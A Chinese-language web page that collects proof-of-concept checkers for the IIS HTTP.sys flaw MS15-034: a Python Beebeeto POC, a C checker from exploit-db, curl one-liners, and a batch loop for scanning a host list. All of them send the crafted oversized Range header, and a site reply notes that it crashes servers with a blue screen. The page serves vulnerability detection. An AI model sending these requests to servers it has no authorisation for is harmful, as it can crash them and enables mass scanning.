MS15-034 IIS 7.0 HTTP.sys 远程代码执行漏洞(CVE-2015-1635) POC

检测脚本一:

Python----beebeeto

http://www.beebeeto.com/pdb/poc-2015-0081/

#!/usr/bin/env python 
# coding=utf-8 

""" 
Site: http://www.beebeeto.com/ 
Framework: https://github.com/n0tr00t/Beebeeto-framework 
""" 

import socket 
import random 
import urlparse 

from baseframe import BaseFrame 


class MyPoc(BaseFrame): 
    poc_info = { 
        # poc相关信息 
        'poc': { 
            'id': 'poc-2015-0081', 
            'name': 'IIS 7.0 HTTP.sys 远程代码执行漏洞(CVE-2015-1635) POC', 
            'author': 'user1018', 
            'create_date': '2015-04-15', 
        }, 
        # 协议相关信息 
        'protocol': { 
            'name': 'http', 
            'port': [80], 
            'layer4_protocol': ['tcp'], 
        }, 
        # 漏洞相关信息 
        'vul': { 
            'app_name': 'IIS', 
            'vul_version': ['7.0'], 
            'type': 'Code Execution', 
            'tag': ['IIS7.0漏洞', 'HTTP.sys漏洞', 'CVE-2015-1635'], 
            'desc': ''' 
                    影响范围: 
                        Windows7 
                        Windows8 
                        Windows server 2008 
                        Windows server 2012 
                    远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求
                     时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。 

                    若要利用此漏洞,攻击者必须将经特殊设计的 HTTP 请求发送到受影响的系统。 通过修改 Windows HTTP 堆栈处理
                     请求的方式,安装更新可以修复此漏洞。 
                    ''', 
            'references': ['https://technet.microsoft.com/zh-CN/library/security/ms15-034.aspx',
                            'http://bobao.360.cn/news/detail/1435.html'], 
        }, 
    } 


    @classmethod 
    def verify(cls, args): 
        target = args['options']['target'] 
        if urlparse.urlparse(target).netloc == '': 
            ipAddr = urlparse.urlparse(target).path 
        else: 
            ipAddr = socket.gethostbyname(urlparse.urlparse(target).netloc) 
        hexAllFfff = "18446744073709551615" 
        req1 = "GET / HTTP/1.0\r\n\r\n" 
        req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"
         if args['options']['verbose']: 
            print '[*] Target: ' + ipAddr 
            print '[*] Audit Started' 
        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        client_socket.connect((ipAddr, 80)) 
        client_socket.send(req1) 
        boringResp = client_socket.recv(1024) 
        # test ms-iis 
        if "Microsoft" not in boringResp: 
            print "[*] Not IIS" 
            return args 
        client_socket.close() 
        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        client_socket.connect((ipAddr, 80)) 
        client_socket.send(req) 
        goodResp = client_socket.recv(1024) 

        if "Requested Range Not Satisfiable" in goodResp: 
            print "[+] Looks Vulnerability!" 
            args['success'] = True 
            args['poc_ret']['vulnerability'] = ipAddr 
        elif " The request has an invalid header name" in goodResp: 
            args['poc_ret']['error'] = "[*] Looks Patched" 
        else: 
            args['poc_ret']['error'] = "[*] Unexpected response, cannot discern patch status"
         return args 

    exploit = verify 

if __name__ == '__main__': 
    from pprint import pprint 

    mp = MyPoc() 
    pprint(mp.run())

检测脚本二:

http://www.exploit-db.com/exploits/36773/

/*
UNTESTED - MS15-034 Checker

THE BUG:

    8a8b2112 56              push    esi
    8a8b2113 6a00            push    0
    8a8b2115 2bc7            sub     eax,edi
    8a8b2117 6a01            push    1
    8a8b2119 1bca            sbb     ecx,edx
    8a8b211b 51              push    ecx
    8a8b211c 50              push    eax
    8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here

    ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4

    BY: john.b.hale@gmai.com
    Twitter: @rhcp011235
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h>

int connect_to_server(char *ip)
{
    int sockfd = 0, n = 0;

     struct sockaddr_in serv_addr;
     struct hostent *server;

    if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
            printf("\n Error : Could not create socket \n");
            return 1;
        }

    memset(&serv_addr, '0', sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(80);
    if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
        {
            printf("\n inet_pton error occured\n");
            return 1;
        }
    if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
        {
            printf("\n Error : Connect Failed \n");
            return 1;
        }

    return sockfd;
}


int main(int argc, char *argv[])
{
    int n = 0;
    int sockfd;
    char recvBuff[1024];

    // Check server
    char request[] = "GET / HTTP/1.0\r\n\r\n";

    // our evil buffer
    char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";


    if(argc != 2)
    {
        printf("\n Usage: %s <ip of server> \n",argv[0]);
        return 1;
    }

    printf("[*] Audit Started\n");
    sockfd = connect_to_server(argv[1]);
    write(sockfd, request, strlen(request));
    read(sockfd, recvBuff, sizeof(recvBuff)-1);

    if (!strstr(recvBuff,"Microsoft"))
    {
        printf("[*] NOT IIS\n");
        exit(1);
    }

    sockfd = connect_to_server(argv[1]);
    write(sockfd, request1, strlen(request1));
    read(sockfd, recvBuff, sizeof(recvBuff)-1);
    if (strstr(recvBuff,"Requested Range Not Satisfiable"))
    {
                printf("[!!] Looks VULN\n");
                exit(1);
    } else if(strstr(recvBuff,"The request has an invalid header name")) {
    printf("[*] Looks Patched");
} else
    printf("[*] Unexpected response, cannot discern patch status");
}

检测方法三:

最简单的检测方法:

curl -i http://xxx.com/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

包含 The requested range is not satisfiable 就表示有漏洞

curl http://xxx.com/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"|grep "The requested range is not satisfiable"

批量代码:

setlocal enabledelayedexpansion 
for /f %%i in (iisf.txt) do ( 
curl -i %%i -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615" | find "The requested range is not satisfiable"
)
pause

留言评论(旧系统):

佚名 @ 2015-05-06 00:41:58

怎么利用呢

本站回复:

目前都是蓝屏,没啥用。

佚名 @ 2015-11-02 22:11:24

请问 用gcc 编译失败怎么办 是我方法有问题吗 可以提供个编译方法吗

本站回复:

Python 脚本不需要编译啊,安装运行环境即可。